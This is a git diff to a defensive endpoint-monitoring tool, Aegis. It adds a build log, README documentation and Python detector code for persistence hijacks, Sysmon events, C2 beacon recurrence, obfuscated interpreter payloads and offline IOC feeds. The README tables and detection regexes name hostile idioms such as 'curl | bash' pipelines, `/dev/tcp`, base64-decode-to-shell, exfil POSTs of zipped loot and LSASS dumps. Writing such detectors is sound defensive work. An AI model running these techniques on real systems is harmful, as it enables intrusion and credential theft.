diff --git a/BATTLE-LOG.md b/BATTLE-LOG.md index 38cf233..d3f2797 100644 --- a/BATTLE-LOG.md +++ b/BATTLE-LOG.md @@ -1,3 +1,68 @@ +# Aegis — Recall build (2026-08-11, `/doit`: 4 detection surfaces, 4 opt-in tiers, 7 parallel branches) + +The prior passes hardened what Aegis already detected. This one answered a +different question — *what does it structurally fail to see?* — and the honest +answer was: the rung attackers move to **because** the watched surfaces are +watched, the residue shapes that only recurrence reveals, the encoded payload no +idiom table can enumerate, and community intel the tool refused on local-only +grounds it had already learned to thread. Eight items, seven parallel branches, +each tests-first with captured fail-before evidence, merged and verified as one. + +The build's own headline is a **measurement**, not a feature: the obfuscated-argv +detector's first draft flagged 2 of 611 live processes — a test harness's own +`bash -c` argv carrying hex-UUID scratchpad paths at 4.84 bits/char, over the +4.5 entropy floor. The fix was not a higher threshold (which would blind the +detector to real payloads) but an **alphabet-purity** rule: `+/` mixed with `-_` +decodes under no base64 flavour, and that mix is precisely what a UUID path is. +Re-measured: 0 of 611. The FP class is pinned by test, so the tightening cannot +silently regress into the threshold it replaced. + +| # | Layer added | Shape | Tier | +|---|-------------|-------|------| +| 1 | **Windows persistence-evasion rung** | COM hijacking (`HKCU\...\CLSID\*\InprocServer32`/`LocalServer32`, T1546.015) → HIGH on a user-writable target; IFEO `Debugger` + `SilentProcessExit\MonitorProcess` (T1546.012/.008) → **CRITICAL** on an accessibility binary (sethc/utilman/osk/magnify/narrator/displayswitch), HIGH otherwise; AppInit_DLLs (T1546.010) → HIGH. Baseline-diffed, adopted on first sight. The rung an attacker reaches for *because* Run keys, schtasks and Winlogon are already watched. | detection (Windows) | +| 2 | **Sysmon harvest** | Where the `Microsoft-Windows-Sysmon/Operational` channel exists: EID 1 scored through the **existing** argv machinery (no second grammar to drift), EID 6 unsigned driver → HIGH, EID 25 process tampering → HIGH. Channel absent = sensor **absent**, never DEGRADED — Sysmon not being installed is not a coverage gap. | detection (Windows) | +| 3 | **Outbound beacon recurrence** | `check_outbound` could not baseline-diff (a browser opens hundreds) and said so; **recurrence keys on the opposite invariant** — browser churn does not survive between scans, a C2 pair does. Same `(binary, ip:port)` live now **and** in ≥3 stored scans spanning ≥45 min, non-browser, non-trusted-prefix, unsigned-or-user-writable → HIGH. Stored in the existing observation store; current-scan presence is required so a vanished binary cannot emit a 45-day zombie. | detection | +| 4 | **Obfuscated-payload argv** | Gate 1 (mandatory): interpreter **+ inline-code flag** — so Electron/JWT/cloud-CLI argv is structurally out of scope, not merely tuned out. Gate 2: a ≥100-char base64 run at ≥4.5 bits/char that actually **decodes**, or an in-process decode+exec composition. MEDIUM alone (corroboration fodder), HIGH with a fetch idiom. `powershell -enc` defers to the existing rule: one argv, one strongest finding. | detection | +| 5 | **Community IOC intel** | `intel update|status` — MalwareBazaar + ThreatFox recent exports, no key, **by hand**, `urllib` lazy-imported exactly like `vt`. The scan grades hashes it **already computes** and outbound endpoints against the local sets → CRITICAL with feed, family, first_seen. Pinned by a structural test that runs a full scan with `urlopen`, `create_connection` **and** `getaddrinfo` all replaced with raisers: the local-only guarantee stays literally true, not merely intended. | reputation (opt-in) | +| 6 | **Root-owned witness (`rootwatch`)** | Closes the gap the README stated and could not fix: a same-uid attacker kills Aegis and its user-level watchdog together, and the notary only makes that evident *later*. The privileged component is a generated **59-line** script — line count and import set **pinned by tests**, because the smallness *is* the security argument — run by a root LaunchDaemon/systemd timer, reading one heartbeat and alerting through a root-owned log, syslog and the user's session. Never `sys.executable` (often a `$HOME` venv, itself an escalation); never writes into `~/.aegis`; non-root invocation mutates nothing and prints one sudo line. | survivability (opt-in, root) | +| 7 | **`setup` + `update-check`** | The strongest tiers shipped **dormant** — canary, latch, decoy, guard, deadfall all opt-in and therefore off on most installs. `setup` walks them with one benefit-and-cost sentence each, default No, and **orchestrates the existing `cmd_*`** rather than reimplementing them (proven zero-mutation on all-No, idempotent on re-run). `update-check` catches the silent rot the README warned about in prose: the `~/.aegis` runtime copy staling behind an edited repo. | usability | +| 8 | **Menu-bar status** | `menubar/aegis-status.30s.py` (xbar/SwiftBar, stdlib, never imports `aegis.py`): 🛡️ healthy · ⚠️ N incidents · 💀 **monitor not beating** — the state the plugin exists for. Structurally read-only (`mode=ro&immutable=1`), proven by a full before/after sandbox inventory on **every** invocation across 19 tests; hostile incident text is `|`-sanitized so it cannot forge xbar params. | usability | + +## Found while building (not shipped broken) + +| Where | Defect | Fix | +|-------|--------|-----| +| `SENSOR_BENIGN_NOTES` | **Three benign-cause notes were dead code.** `_benign_note_for()` does an exact dict lookup on the finding *category*, but three notes were keyed on the *surface id* — `browserext`, `ide_ext`, `wallet` — while those sensors emit `browser-ext`, `ide-ext`, `wallet-integrity`. So the incident card's promise ("KNOWN BENIGN CAUSES for the sensors that fired, so triage is a lookup rather than an investigation") silently rendered **nothing** for browser and editor extensions — the two most FP-prone surfaces in the tool, and the exact ones whose notes say "extensions you installed yourself" and "auto-update re-fires this". | keys corrected to the category spelling; per-category test pinning all three (deliberately not a source-regex scraper: these categories are also emitted from multi-line calls with a variable severity, which no regex reads reliably) | +| `_parse_win_events` contract | The Sysmon harvest initially treated a probe failure as an empty window — the "an unanswered process table is not an empty one" defect this repo has already paid for twice. | non-answer returns `None` and DEGRADES; separate sentinel for "channel readable but read errored"; both poles tested | +| `_install_mac` vs `install.sh` | **The two macOS installers disagreed, and the README called them equivalent.** `install.sh` has always written `ProcessType=Background`, `LowPriorityIO`, `Nice=10`, `ThrottleInterval=30`; the Python port dropped all four. So anyone following the cross-platform path — including the refresh line `update-check` itself prints — got a monitor that scans un-niced at normal IO priority for ~a minute at a time, and in **watch** mode had no bound on `KeepAlive` respawn (a crash-looping watch relaunches about once a second instead of every 30). Found by diffing the deployed plist before and after refreshing this machine's own agent, which is the only place the two installers' output meets. | four keys restored to `_install_mac`; pinned by a **parity** test (`test_both_installers_agree_on_the_resource_keys`) rather than a hardcoded list, so whichever installer gains a resource key next, the other must match; fail-before captured at 5 failures | + +**Guardrails honored:** the scan path still makes **zero** network calls (intel +is by-hand, and the structural test proves the scan cannot reach the network even +with feeds present); nothing new fires automatically off a heuristic; the one +privileged component is opt-in, root-owned, and small enough to audit in a +glance; every Windows sensor is a pure function over registry/event dicts so it +is testable on any OS *and* exercised against a real Windows kernel in CI; and +absent-vs-degraded is respected everywhere (no Sysmon, no intel, no `rootwatch` +⇒ silent, never a manufactured coverage gap). + +**Verified:** full suite green (798 tests at merge, up from 671) on all five CI +runners including two real Windows kernels; a live end-to-end scan on the +author's machine (59s cold, 19s warm, one aggregated notification, only true +positives already known to that machine, **zero** false positives from any new +detector); the obfuscated-argv 0-of-611 live measurement above; and the intel +tier exercised against the real fetched corpus (2,098 hashes + 2,715 endpoints +loaded, sensor status OK, this machine clean, feed files unmodified by the scan). + +**One CI defect, and it was a test's fault, not the product's:** both Windows +jobs failed identically because the `update-check` drift assertions rebuilt their +expected string from a bare `_SELF_PATH`, while `_refresh_line()` **quotes** the +path on Windows — correctly, since the reference machine's repo path contains +both spaces and `&`. The fix makes the test use `_refresh_line()` as its own +oracle rather than re-deriving its quoting rule, so the mismatch is now +structurally impossible rather than merely corrected. + +--- + # Aegis — a governed battle-test: three loud rounds, sixteen defects (2026-08-05) A single `/battle-test` run under `/fable-mode` governance: right-size, hunt across diff --git a/README.md b/README.md index 164c66d..a34e03d 100644 --- a/README.md +++ b/README.md @@ -29,14 +29,14 @@ on Linux is not a coverage gap. | Layer | macOS | Linux | Windows | |---|---|---|---| -| **Persistence** | launchd agents/daemons, cron, login hooks, config profiles, background items (BTM) | systemd user+system units, XDG autostart, cron, `/etc/cron.d`, rc.local, profile.d | Run/RunOnce keys, Winlogon Shell/Userinit, Startup folders, scheduled tasks, services outside the protected trees | +| **Persistence** | launchd agents/daemons, cron, login hooks, config profiles, background items (BTM) | systemd user+system units, XDG autostart, cron, `/etc/cron.d`, rc.local, profile.d | Run/RunOnce keys, Winlogon Shell/Userinit, Startup folders, scheduled tasks, services outside the protected trees — plus the evasion rung: HKCU CLSID COM-server hijacks, IFEO `Debugger`/SilentProcessExit, AppInit_DLLs | | **"Who vouches for this binary"** | `codesign`: apple / app-store / developer-id / adhoc / unsigned / broken | package-manager ownership: dpkg/rpm/pacman `os-managed` vs `unmanaged` | Authenticode: os-signed / signed-valid / unsigned / broken | | **Suspicious-exec rule** | unsigned/ad-hoc/broken in a user-writable path | **structural** — execution from a volatile dir, or a running binary deleted from disk (no ambient signing exists, so "unmanaged" is *not* treated as malicious: every locally built binary is unmanaged) | unsigned/broken in a user-writable path | | **Process + argv** | two `ps` calls joined on pid — asking for `comm` and `args` together truncates the exec path to 16 chars | `/proc` directly (works on minimal containers with no `procps`, and no argv truncation) | one CIM query (`Win32_Process`) | | **Network** | `lsof` listeners, `netstat` outbound | `/proc/net/tcp[6]` listeners + outbound, inode→pid via `/proc/*/fd` | `netstat -ano` listeners + outbound | | **Fileless TTPs scored in argv** | `osascript` password phish, `xattr -c`, `hdiutil -nobrowse`, keychain copy, `curl\|bash` | `LD_PRELOAD` injection, `/etc/ld.so.preload` writes, memfd exec, `systemctl enable /tmp/...`, `/etc/shadow` + SSH key access | `powershell -enc`, IEX download cradles, LOLBin proxy exec (mshta/regsvr32/rundll32/certutil), Defender/AMSI tamper, LSASS + SAM-hive dumps, shadow-copy deletion | | **OS engine harvest** | XProtect Remediator detections + definition age, Gatekeeper/syspolicy denials | `auth.log`/journal: SSH brute force, new accounts, privileged group adds, root logins | Event log: Defender detections (1116/1117), RTP disabled (5001), account creation (4720), audit-log cleared (1102), PowerShell script blocks (4104) | -| **OS-unique surface** | XProtect Behavioral (Bastion), agent skills, wallet integrity | **loaded kernel modules** (ring-0 rootkit), **new setuid-root binaries** | **WMI event subscriptions** (fileless persistence), **Defender exclusion changes** | +| **OS-unique surface** | XProtect Behavioral (Bastion), agent skills, wallet integrity | **loaded kernel modules** (ring-0 rootkit), **new setuid-root binaries** | **WMI event subscriptions** (fileless persistence), **Defender exclusion changes**, **Sysmon harvest** where installed (ProcessCreate scored in argv, unsigned driver loads, process tampering) | | **Hardening posture** | SIP, Gatekeeper, FileVault, firewall, stealth, Remote Login | SELinux/AppArmor enforcement, ufw/firewalld/nftables, sshd exposure + weak sshd settings, LUKS, unattended upgrades | Defender RTP + tamper protection + signature age, firewall profiles, BitLocker | | **Change-driven watch** | kqueue (sub-second) + live XProtect log tail | **inotify** via `ctypes` (sub-second), proven against a real kernel | short-cycle poll of the same watched path set | | **Background scheduling** | launchd agent | `systemd --user` service + timer | Scheduled Task | @@ -97,6 +97,7 @@ Runs `aegis.py scan` on an interval and reports/alerts on: | **Persistence watch** | New/changed launchd agents & daemons + cron, each program hashed + signature-classified, diffed vs baseline — **arguments inspected** (`bash -c "curl…\|sh"`, `base64 -d\|sh`, `/dev/tcp`), **DYLD_* injection env flagged**, **an interpreter run against a hidden `$HOME`/tmp script caught** (AMOS `/bin/bash ~/.agent`), and **vendor-label impersonation caught** (a `com.apple.*` / `com.google.*` / `com.microsoft.*` plist whose program isn't signed by that vendor's Team ID — RustBucket's `com.apple.systemupdate` behind a hijacked cert, ClickFix's fake `com.google.keystone`) | The #1 macOS infostealer signal — AMOS/Atomic, Poseidon/Odyssey persist via `LaunchAgents`/`LaunchDaemons` | | **Process watch** | Running processes whose executable is unsigned/ad-hoc **and** in a user-writable path | Malware runs ad-hoc-signed binaries from `/tmp`, `~/`, `/Users/Shared` | | **Behavioral watch** *(new)* | The full **command line** of every same-user process, scored for the fileless-stealer TTPs: a fake `osascript … display dialog … hidden answer` **password phish** (CRITICAL), `dscl . -authonly` local-password check, `xattr -c/-d com.apple.quarantine` **provenance strip**, `hdiutil attach -nobrowse` **invisible DMG mount**, `tccutil reset`, a `login.keychain-db` copy, a `curl -F file=@/tmp/*.zip` **exfil POST**, and a `curl … \| bash/osascript` **fileless pipeline** | The dominant 2025-26 stealer TTP is fileless — it runs through Apple-signed interpreters (bash/osascript/curl) whose *path* is trusted, so only the argv reveals the attack. This is the biggest coverage gain in this release | +| **Obfuscated-payload argv** *(new)* | An interpreter's **inline-code flag** (`bash -c`, `python3 -c`, `node -e`, `perl/ruby/osascript -e`, `powershell -Command`) whose code argument carries an **encoded payload**: a ≥100-char base64-alphabet run that really decodes at ≥4.5 bits/char entropy, or an in-process **decode+execute** composition (`eval(Buffer.from(…,'base64'))`, `exec(base64.b64decode(…))`). MEDIUM alone (corroboration); HIGH when a fetch or exec sink co-occurs. The interpreter gate is mandatory, so Electron helpers/JWTs/cloud-CLI opaque argv are structurally out of scope. Measured live: 611 processes, **zero** false positives | The idiom tables above key on known hostile strings — packing the same logic in base64 sheds every one of them. The shape (interpreter + code flag + opaque blob) is the hard-to-vary invariant that catches the family not yet catalogued | | **XProtect harvest** *(new)* | Reads Apple's own **XProtect Remediator** detections straight from the unified log (`com.apple.XProtectFramework.PluginAPI`) — a `status != NoThreatDetected` event means Apple's engine found/removed malware (CRITICAL) — plus flags **stale XProtect definitions** (>60 days) | Piggybacks Apple's professionally-maintained, always-updating signature/behavioral engine for free — no entitlement, no cloud. The single highest-value signal a signature-less tool can add | | **Hot-dir watch** | Freshly-dropped unsigned Mach-O executables **and `.app` bundles** in Downloads/Desktop/tmp/Shared, tagged with **full download provenance** — not just *whether* a quarantine flag exists but **who** downloaded it and **from what URL**, resolved from the user's own `QuarantineEventsV2` store and the Chrome-family `downloads` table (both same-user-readable, **no Full Disk Access**). A binary with *no* quarantine flag bypassed Gatekeeper (side-loaded via `curl`/`scp`/AirDrop); one from a **trusted origin** (github/apple/brew/npm/pypi…) is demoted to the digest instead of notifying — provenance grades the finding, and because an attacker can supply it, it only ever *lowers* confidence, never severity, and never closes a finding (a timestomped file is never demoted). A fresh signed-but-**unnotarized** app additionally gets Gatekeeper's own `spctl` verdict surfaced (MEDIUM — a normal quarantined launch would refuse it, so one that runs was side-loaded or force-approved) | Catches a payload the moment it lands, before it runs — including the #1 delivery shape, a DMG/ZIP-dragged `.app`, which is a *directory* and invisible to any file-only check | | **Staging watch** *(new)* | Documented stealer **loot-staging artifacts** in `/tmp`/`/Users/Shared` — `app.zip` (Atomic), `ledger.zip` (Odyssey/Poseidon), `salmonela.zip` (MacSync), `wid.txt`, `.pass`, `shub_*`, a copied `login.keychain-db` | Smash-and-grab stealers stage loot then exfil in under a minute, leaving no persistence — this catches the residue | @@ -113,6 +114,7 @@ Runs `aegis.py scan` on an interval and reports/alerts on: | **Config profiles** | A newly-installed configuration profile | Adds trusted certs / proxies / MDM control — an adware & DPRK vector | | **Extra persistence** | `/etc/crontab`, `/etc/periodic`, StartupItems, `/etc/rc.common` tamper — plus `/etc/hosts` (adware/phishing redirect), `/etc/pam.d` + `/etc/sudoers.d` (auth-chain backdoor, T1556), `sshd_config`, and **`~/.ssh/authorized_keys` / `~/.ssh/config`** (a newly-appearing key = the classic durable-remote-access implant, T1098.004; a `ProxyCommand` hijack runs code on every ssh) | Persistence surfaces beyond `LaunchAgents` and the user crontab | | **Network listeners** *(new)* | A **new** process accepting connections *from the network* (non-loopback TCP LISTEN, via `lsof`), baseline-diffed. Unsigned/ad-hoc binary in a user-writable path listening → HIGH (bind-shell / rogue-server shape); anything else → MEDIUM (logged). Loopback dev servers and SIP-pinned Apple daemons are excluded by design — but an Apple-signed *interpreter* serving the network (`python3 -m http.server 0.0.0.0`, `nc -l`) **is** tracked | LuLu-tier *outbound* blocking needs an Apple entitlement; the *listening* side is visible unprivileged, and a reachable listener is rare, durable, and high-signal | +| **Outbound beacon shape** *(new)* | Outbound can't be baseline-diffed (a browser opens hundreds of ephemeral connections), so each scan's row set is *stored* instead, and the **same (binary, remote ip:port) pair** re-observed in ≥3 distinct scans spanning ≥45 minutes — from a **non-browser** binary outside every trusted prefix that is unsigned/ad-hoc *or* runs from a user-writable path — alerts HIGH. One incident per pair; continued recurrence climbs the occurrence count instead of re-alerting | Interval polling is structurally *good* at exactly one network shape: browser churn disappears between scans, a C2 beacon's endpoint keeps being there — recurrence is the residue | | **Browser extensions** | New Chromium-family / Firefox extension appearing | Malicious extensions exfiltrate sessions, cookies, wallet data | | **Editor extensions** | New VSCode / Cursor / VSCodium / Windsurf extension | A backdoored editor extension is a live supply-chain vector (Objective-See's *Paradox*, 2025, shipped via a trojanised Cursor extension) | | **Background items** *(capability-dependent)* | Where macOS permits `sfltool dumpbtm`, a **new** Login Item / SMAppService background agent is baseline-diffed. A new item with **no Team ID whose URL is in a user-writable path** → HIGH, else MEDIUM. If Apple requires interactive authorization, the sensor reports DEGRADED rather than clean. | Catches the modern persistence path the LaunchAgents-directory scan **cannot see** without pretending the data exists when macOS withholds it | @@ -176,6 +178,16 @@ python3 aegis.py install 1800 # ...every 30 minutes python3 aegis.py install watch # change-driven + 600s full-scan floor python3 aegis.py uninstall # remove the registration, keep evidence +python3 aegis.py setup # guided, idempotent walkthrough of the + # OPT-IN tiers (canary/latch/decoys/ + # guard/heartbeat — the strongest + # defenses are dormant until you say + # yes; enabled tiers are skipped) +python3 aegis.py update-check # is ~/.aegis/aegis.py stale behind this + # file? drift → exit 1 + the exact + # refresh command (--remote: by-hand + # compare against GitHub raw too) + # On macOS `bash install.sh [watch] [interval]` remains available and does the # same thing; `aegis.py install` is the cross-platform equivalent. ``` @@ -202,6 +214,10 @@ python3 aegis.py replay [days] # backtest the CURRENT correlation logic against python3 aegis.py allow PATH # stop alerting on findings matching PATH python3 aegis.py vt PATH|SHA # OPT-IN VirusTotal reputation (BYO key; sends only # the hash, never the file; scan stays local-only) +python3 aegis.py intel update # OPT-IN community IOC feeds (abuse.ch; no key) — + # scans then grade their own hashes/ip:ports + # against the LOCAL copy, offline +python3 aegis.py intel status # feed ages + entry counts; stale (>7d) called out python3 aegis.py canary # plant ransomware canary/honeypot files (opt-in) python3 aegis.py canary remove # ...and remove them python3 aegis.py watchdog # dead-man's switch: exit non-zero + alert if the @@ -214,6 +230,13 @@ python3 aegis.py watchdog # dead-man's switch: exit non-zero + alert if the python3 aegis.py bastion # macOS only, OPT-IN, needs sudo: surface Apple's # XProtect Behavioral (Bastion) violations it # records but never alerts on +python3 aegis.py rootwatch install + # OPT-IN root witness (macOS/Linux): a <60-line + # root-owned script on a ROOT schedule that + # alerts within minutes when the heartbeat dies. + # Never self-elevates: run without sudo it + # changes NOTHING and prints the sudo line + # for you. `status` reports without root # RESPONSE TIER — opt-in, run by hand on a reviewed finding (never automatic): python3 aegis.py quarantine PATH # atomically confine a file or valid .app bundle @@ -261,6 +284,31 @@ scripts the same access. `aegis.py doctor` reports inaccessible coverage as degraded rather than clean. Broader access belongs in a future dedicated, signed Aegis app whose identity and requested capability can be reviewed. +### Menu-bar status (macOS, optional) + +`menubar/aegis-status.30s.py` is an [xbar](https://xbarapp.com)/[SwiftBar](https://swiftbar.app) +plugin that puts the one-glance verdict in the menu bar, refreshed every 30s: +**🛡️** heartbeat fresh and no open incidents · **⚠️ N** incidents open (worst +severity colors the dropdown) · **💀** heartbeat stale past the watchdog +tolerance — the monitor itself is dead, the one state a dead monitor cannot +report and the reason the plugin exists. The dropdown shows the last scan time, +the open incidents (most severe first), degraded sensors, and heartbeat age, +plus actions to open `~/.aegis/latest.md`, list incidents in Terminal, or scan +now. **Strictly read-only on Aegis state, by construction:** it opens `aegis.db` +with SQLite's `mode=ro&immutable=1` (it cannot lock, journal, or modify the +store), caps every text read, never creates a file, and never touches the +network — and it is standalone (it never imports `aegis.py`). Missing or corrupt +state degrades a line, never the plugin; an absent `~/.aegis` renders a calm +"not installed". Honors `AEGIS_STATE_DIR` for a non-default state dir. + +```bash +# SwiftBar (copies into the plugin folder you chose in SwiftBar's settings): +cp menubar/aegis-status.30s.py "$(defaults read com.ameba.SwiftBar PluginDirectory)/" && chmod +x "$(defaults read com.ameba.SwiftBar PluginDirectory)/aegis-status.30s.py" + +# xbar: +mkdir -p ~/Library/Application\ Support/xbar/plugins && cp menubar/aegis-status.30s.py ~/Library/Application\ Support/xbar/plugins/ && chmod +x ~/Library/Application\ Support/xbar/plugins/aegis-status.30s.py +``` + --- ## Response tier — act on a finding (opt-in, staged, reversible-by-default) @@ -321,6 +369,28 @@ chain. What they cannot do is make a *past* anchor say something else. The regression suite tests exactly that adversary: a forged chain with every head and MAC recomputed defeats all local checks and is still caught by the anchors. +### Root witness — `rootwatch` (opt-in; the one privileged resident) + +The watchdog runs at the same uid as the monitor, so the attacker who kills +Aegis kills the watchdog agent in the same sweep — the notary then makes the +kill *evident later*, which is honest but slow. `rootwatch` is the opt-in +answer: a root-owned script of **under 60 lines** (small enough to audit in +one glance before installing it — that smallness is the security argument, not +a style choice) on a **root** schedule (`/Library/LaunchDaemons` LaunchDaemon +on macOS, a system — not `--user` — systemd timer on Linux) that re-reads the +heartbeat every 10 minutes with the watchdog's own staleness tolerance baked +in. A dead beat appends a root-owned alert line (`/Library/Application +Support/Aegis/rootwatch.log` / `/var/log/aegis/rootwatch.log`), notifies your +session, and writes syslog; a healthy beat exits silently. What root buys is +exactly one thing: **a witness the same-uid attacker cannot unload, which +alerts within minutes instead of leaving evidence for later.** What it does +not buy: it prevents nothing, reads nothing but the one heartbeat file, and +never writes into `~/.aegis` (a root-owned file there would break Aegis's own +atomic-replace state writes). Aegis never self-elevates to install it — +`rootwatch install` run unprivileged mutates nothing and prints the one sudo +line for you to run yourself. Windows has no rootwatch yet: a SYSTEM +scheduled task is future work, and the gap is stated rather than implied. + ### Agent surface, session theft, and pre-authorization (added this release) | Command / sensor | What it does | Notes | @@ -413,6 +483,8 @@ against a real machine rather than a fixture:** - **A source-aware attacker can kill Aegis instead of evading it.** No unprivileged tool can prevent that. The notary is the answer: it cannot stop the kill, but it makes the kill leave a sequence gap that cannot be backfilled. + The opt-in `rootwatch` tier shortens "later" to minutes — a root-scheduled + witness the same-uid attacker cannot kill along with the monitor. - **`curl … | sh` is never silently rewritten.** It is the documented install path for rustup and much else, so the clipboard grammar reports it and stops there. Only patterns with no legitimate use (fake password dialogs, @@ -513,9 +585,11 @@ Not defensible, and not claimed: *"blocks malware."* A security tool sees everything, so it must be trustworthy *by construction*: - **Local-only on the scan/watch path *by default*** — out of the box the automatic monitor never phones home; no telemetry, no cloud. The only - network-touching feature you run **by hand** is `aegis.py vt` (VirusTotal + network-touching features you run **by hand** are `aegis.py vt` (VirusTotal reputation), which needs a key you supply and sends **only a hash, never a - file**; with no key the scanner never even imports the networking module. + file** — with no key the scanner never even imports the networking module — + and `aegis.py intel update`, which *downloads* two public IOC lists and + sends nothing at all; the scan only ever reads the local copy. The **one** background egress that exists is **off unless you deliberately turn it on**: the dead-man's-switch heartbeat (below) POSTs a small redacted liveness beat *only* if you set `AEGIS_HEARTBEAT_URL` or a `heartbeat_url` in @@ -576,6 +650,23 @@ A security tool sees everything, so it must be trustworthy *by construction*: **only the sha256, never the file bytes**, and the scan/watch path makes **zero** network calls regardless — off by default, so the local-only guarantee stays literally true. No key ⇒ the command explains how to add one and does nothing. +- ✅ **Community IOC intel — SHIPPED** as `aegis.py intel update|status`: an + **opt-in, by-hand** fetch of two public abuse.ch exports (MalwareBazaar + recent SHA256s, ThreatFox recent IOCs — no key, no account). What leaves the + machine: **nothing** (the request carries no payload about this host); what + arrives: a public IOC list, normalized and size-bounded under + `~/.aegis/intel/`. Scans then grade the sha256 hashes they **already + compute** (persistence programs, hot-dir drops) and live outbound `ip:port` + rows against the LOCAL copy — an exact hash match or a connection to a + listed C2 is CRITICAL with the malware family and first-seen date named. + This is `glean`'s doctrine (a dated, offline intel delta) generalized beyond + Apple's corpus to every OS. Off by default: with nothing fetched the surface + simply doesn't exist (absent, never a degraded sensor), the scan path stays + structurally network-free (`urllib` is imported only inside the fetch, + exactly like `vt`), and `intel status` calls out a copy staler than 7 days. + A failed refresh keeps the prior copy and says so; hostile/garbage feed data + parses to nothing rather than raising; the feed's domains/URLs are + deliberately not even written to disk — hashes and `ip:port` pairs only. - ✅ **Login-Item / SMAppService adapter — SHIPPED** via `sfltool dumpbtm`: when Apple exposes the inventory, a new Background Task Management item is diffed even without a `~/Library/LaunchAgents` plist. On macOS builds that require an @@ -616,7 +707,7 @@ Developer-ID/Apple binaries are not over-flagged; `/bin/bash` classifies `apple` First-run against this machine correctly baselined 67 persistence items silently and flagged the disabled firewall. -The `tests/` regression suite (**651 tests**, stdlib-only, fully sandboxed — never +The `tests/` regression suite (**812 tests**, stdlib-only, fully sandboxed — never touches real `~/.aegis` or fires a notification) pins the fixes from the adversarial hardening pass ([BATTLE-LOG.md](BATTLE-LOG.md)) plus the research-grounded detection surfaces added since: a signed interpreter + hostile diff --git a/aegis.py b/aegis.py index d9bb21a..763821e 100755 --- a/aegis.py +++ b/aegis.py @@ -133,8 +133,10 @@ neutralize ] """ +import base64 import json import errno +import math import os import plistlib import re @@ -251,6 +253,21 @@ VT_KEY_FILE = os.path.join(STATE_DIR, "vt_key") VT_API_URL = "https://www.virustotal.com/api/v3/files/" +# Community IOC intel (`aegis.py intel …`): normalized, size-bounded local +# artifacts under ~/.aegis/intel, written ONLY by the by-hand `intel update` +# command (public abuse.ch exports — no key, no account). The scan path READS +# these files and never fetches them: same doctrine as vt, network I/O exists +# only inside an explicit by-hand command with urllib lazily imported there. +INTEL_DIR = os.path.join(STATE_DIR, "intel") +INTEL_BAZAAR_FILE = os.path.join(INTEL_DIR, "malwarebazaar.json") +INTEL_THREATFOX_FILE = os.path.join(INTEL_DIR, "threatfox.json") +INTEL_BAZAAR_URL = "https://bazaar.abuse.ch/export/txt/sha256/recent/" +INTEL_THREATFOX_URL = "https://threatfox.abuse.ch/export/json/recent/" +INTEL_STALE_DAYS = 7 +INTEL_MAX_HASHES = 250000 # hard bound on stored/loaded entries (memory cap) +INTEL_MAX_NET = 50000 +INTEL_MAX_FETCH_BYTES = 32 * 1024 * 1024 + # --- Survivability: dead-man's switch + tamper-evidence ---------------------- # # A same-uid attacker can SIGKILL Aegis or `launchctl bootout` its agent and # blind every layer at once — silently (ATT&CK T1562.001). An unprivileged tool @@ -282,6 +299,29 @@ # the opt-in `sudo aegis bastion` tier surfaces it. Path per macOS 15/26. XPDB_PATH = "/var/protected/xprotect/db/XPdb" +# Opt-in ROOT witness (rootwatch) — closes the kill gap the honest-limits +# section states: a same-uid attacker can kill Aegis AND the user-level +# watchdog agent in one sweep, and the notary only makes that evident LATER. +# rootwatch is a tiny root-owned script on a ROOT schedule (LaunchDaemon / +# systemd system timer) that re-checks the heartbeat every 10 minutes and, +# when it is stale, alerts somewhere the same-uid attacker cannot silence. +# Same doctrine as `bastion`: Aegis itself NEVER requests root — `rootwatch +# install` run unprivileged performs zero mutation and prints the one sudo +# line for YOU to run. Windows has no rootwatch yet (a SYSTEM scheduled task +# is future work); the user-level watchdog still runs there. +ROOTWATCH_SCRIPT = "/usr/local/libexec/aegis-rootwatch.py" +ROOTWATCH_PLIST = "/Library/LaunchDaemons/com.aegis.rootwatch.plist" +ROOTWATCH_LABEL = "com.aegis.rootwatch" +ROOTWATCH_UNIT_DIR = "/etc/systemd/system" +ROOTWATCH_LOG = ("/Library/Application Support/Aegis/rootwatch.log" if IS_MAC + else "/var/log/aegis/rootwatch.log") +ROOTWATCH_INTERVAL = 600 # the root schedule re-checks the beat every 10 min +# A root daemon must never execute a user-writable interpreter or script — +# that would BE the privilege escalation Aegis exists to catch — so the +# system python is hardcoded rather than inheriting sys.executable (which is +# often a venv under $HOME on this machine). +ROOTWATCH_PY = "/usr/bin/python3" + # AI-agent skill directories — a live 2026 AMOS distribution channel (malicious # OpenClaw/Claude "skills" that manipulate the agent into a fake password dialog, # Trend Micro 2026). Same shape as the IDE-extension surface: a new skill dir or a @@ -4192,6 +4232,138 @@ def check_processes(): "crontab-tmp-install", )) +# --------------------------------------------------------------------------- # +# Obfuscated inline-code payloads — the family-you-haven't-seen-yet catch. +# Every idiom above keys on a KNOWN hostile string; the same logic shipped +# base64-/base85-packed inside `bash -c` / `node -e` / `python3 -c` matches +# none of them. The hard-to-vary structural invariant is the SHAPE: an +# interpreter told to execute inline code (gate 1, mandatory) whose code +# argument is a long opaque blob or an in-process decode+execute composition +# (gate 2). Gate 1 keeps arbitrary processes out of entropy scoring — +# Electron helpers, JWTs and cloud CLIs legitimately carry giant opaque argv. +# --------------------------------------------------------------------------- # + +# Gate 1: interpreter + code-execution flag. Bounded interior runs throughout +# (the ReDoS discipline above); flag-skip loops are repetition-capped, never +# `*`. Shell `-c` accepts a cluster (`-lc`); the powershell alternation +# matches every `-e/-en/-enc/-EncodedCommand` prefix and `-c/-Command`, while +# `-ExecutionPolicy` (whose VALUE is not code) fails it and is skipped by the +# bounded gap instead. +_INLINE_CODE_FLAG_RES = ( + re.compile(r"(?:^|[\s/])(?:ba|z|da|k)?sh\s+" + r"(?:-{1,2}[\w-]{1,12}\s+){0,3}-[a-zA-Z]{0,8}c\s+", re.I), + re.compile(r"(?:^|[\s/])python[0-9.]{0,6}(?:\.exe)?\s+" + r"(?:-[a-zA-Z]{1,3}\s+){0,3}-c\s+", re.I), + re.compile(r"(?:^|[\s/])node(?:\.exe)?\s+" + r"(?:--?[\w-]{1,24}(?:=\S{0,64})?\s+){0,4}(?:-e|--eval)\s+", + re.I), + re.compile(r"(?:^|[\s/])(?:perl|ruby)[0-9.]{0,4}\s+" + r"(?:-[a-zA-Z0-9]{1,10}\s+){0,3}-[a-zA-Z]{0,4}e\s+", re.I), + re.compile(r"(?:^|[\s/])osascript\s+(?:-l\s+[\w.]{1,24}\s+)?-e\s+", re.I), + re.compile(r"(?:^|[\s/\\])(?:powershell|pwsh)(?:\.exe)?\s+[^\n]{0,200}?" + r"\s-(?:e(?:c|n[a-zA-Z]{0,12})?|c(?:ommand)?)\s+", 